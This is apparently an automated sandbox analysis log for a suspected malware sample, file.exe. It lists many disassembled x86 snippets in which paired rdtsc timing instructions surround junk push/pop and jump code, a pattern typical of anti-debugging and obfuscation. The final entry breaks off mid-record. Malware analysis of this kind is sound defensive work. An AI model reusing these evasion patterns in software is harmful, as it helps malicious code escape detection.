Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4254C second address: A4256B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0E6551CA36h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0E6551CA40h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A425BC second address: A425C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A425C1 second address: A425D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F0E6551CA36h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A425D4 second address: A425EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E647B6082h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A425EA second address: A4262C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d jmp 00007F0E6551CA3Ah 0x00000012 push 00000000h 0x00000014 jmp 00007F0E6551CA43h 0x00000019 push 0CE451C5h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F0E6551CA3Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A4276F second address: A427A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, esi 0x0000000b push 00000000h 0x0000000d jng 00007F0E647B607Ch 0x00000013 call 00007F0E647B6079h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0E647B6084h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A427A7 second address: A427AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A427AD second address: A427B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A427B1 second address: A42803 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0E6551CA3Fh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F0E6551CA48h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F0E6551CA43h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A42803 second address: A42807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A54292 second address: A54297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60754 second address: A60758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60758 second address: A6075E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6075E second address: A60773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0E647B607Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60773 second address: A607A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA40h 0x00000007 jo 00007F0E6551CA36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0E6551CA41h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A608F3 second address: A608FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60A41 second address: A60A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA3Fh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60A5C second address: A60A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60A62 second address: A60A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60BD7 second address: A60BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60BDF second address: A60BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F0E6551CA36h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60D56 second address: A60D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60D5A second address: A60D64 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60D64 second address: A60D6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A60D6B second address: A60D73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A58FE9 second address: A58FED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A58FED second address: A58FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A617BC second address: A617C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A617C0 second address: A617EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0E6551CA3Bh 0x0000000d jmp 00007F0E6551CA47h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A61D92 second address: A61DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007F0E647B607Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A61DA3 second address: A61DAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A61EFD second address: A61F24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B607Ch 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jnc 00007F0E647B607Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A61F24 second address: A61F28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62094 second address: A620A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 push esi 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6225A second address: A62260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62260 second address: A62264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A62572 second address: A625B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F0E6551CA36h 0x0000000b popad 0x0000000c jmp 00007F0E6551CA43h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jmp 00007F0E6551CA42h 0x00000019 push ecx 0x0000001a jmp 00007F0E6551CA3Dh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A652A5 second address: A652AF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0E647B6076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A653EC second address: A653F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A653F0 second address: A6541F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F0E647B607Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A63C2D second address: A63C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A63C33 second address: A63C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A667AF second address: A667B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A667B3 second address: A667BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0E647B6076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A667BF second address: A667E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F0E6551CA36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6CE16 second address: A6CE1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6D3B8 second address: A6D3C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6D3C0 second address: A6D3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6D3C6 second address: A6D3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E6551CA3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6EF8D second address: A6EF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6F4C3 second address: A6F4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6F4C7 second address: A6F4CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6F5A0 second address: A6F5B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0E6551CA36h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6F5B3 second address: A6F5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6F5BB second address: A6F5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A6FB72 second address: A6FB78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7169E second address: A716F6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0E6551CA38h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F0E6551CA38h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b jmp 00007F0E6551CA44h 0x00000030 push 00000000h 0x00000032 cld 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 jne 00007F0E6551CA36h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A70D98 second address: A70D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A72EC9 second address: A72F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 je 00007F0E6551CA38h 0x0000000c mov edi, esi 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F0E6551CA38h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push ecx 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f adc di, 05DDh 0x00000034 pop edi 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A72F0E second address: A72F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0E647B6081h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A72BE7 second address: A72BED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A72BED second address: A72BF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A76505 second address: A7651E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E6551CA3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7651E second address: A76523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7632D second address: A76331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A76523 second address: A76529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A76529 second address: A76571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 or dword ptr [ebp+122D3256h], ecx 0x0000000e push 00000000h 0x00000010 add esi, 10F38BB1h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F0E6551CA38h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 or edi, dword ptr [ebp+122D35C7h] 0x00000038 mov edi, dword ptr [ebp+1245868Eh] 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push ecx 0x00000042 push edi 0x00000043 pop edi 0x00000044 pop ecx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A76DF1 second address: A76DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7BAA5 second address: A7BAAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7DFB6 second address: A7DFDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0E647B6080h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7E1CD second address: A7E1D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7E1D3 second address: A7E1D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A7F29E second address: A7F2AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0E6551CA3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A82334 second address: A8235F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F0E647B6087h 0x0000000f jl 00007F0E647B6076h 0x00000015 popad 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A833BA second address: A833BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A85183 second address: A8518B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A833BE second address: A8342A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F0E6551CA42h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 add bl, FFFFFFC6h 0x00000024 mov di, bx 0x00000027 mov eax, dword ptr [ebp+122D01DDh] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F0E6551CA38h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 push FFFFFFFFh 0x00000049 adc ebx, 48EC3E00h 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 jno 00007F0E6551CA38h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8243D second address: A82441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A85791 second address: A857F1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0E6551CA36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F0E6551CA3Ch 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F0E6551CA38h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov edi, 64C17C00h 0x00000033 or dword ptr [ebp+122D37D8h], ecx 0x00000039 push 00000000h 0x0000003b mov dword ptr [ebp+122D1D02h], edi 0x00000041 mov ebx, dword ptr [ebp+122D22B6h] 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 jng 00007F0E6551CA38h 0x0000004f push esi 0x00000050 pop esi 0x00000051 pop eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A82441 second address: A82468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F0E647B6078h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F0E647B6085h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A857F1 second address: A857F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A82468 second address: A8246E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8661D second address: A86621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A86621 second address: A86627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A87703 second address: A87709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A87709 second address: A8773C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 jl 00007F0E647B6088h 0x0000000e jmp 00007F0E647B6082h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0E647B6081h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8A6A0 second address: A8A6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8A6A4 second address: A8A6AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A8A6AE second address: A8A6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: A86837 second address: A868E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0E647B6086h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push ecx 0x0000000c mov dword ptr [ebp+122D39B1h], edi 0x00000012 pop edi 0x00000013 adc cl, 00000031h 0x00000016 popad 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007F0E647B6078h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 or dword ptr [ebp+122D2042h], ecx 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 add dword ptr [ebp+122D3C09h], ecx 0x0000004b mov eax, dword ptr [ebp+122D0E31h] 0x00000051 mov dword ptr [ebp+122D3575h], ecx 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push eax 0x0000005c call 00007F0E647B6078h 0x00000061 pop eax 0x00000062 mov dword ptr [esp+04h], eax 0x00000066 add dword ptr [esp+04h], 0000001Dh 0x0000006e inc eax 0x0000006f 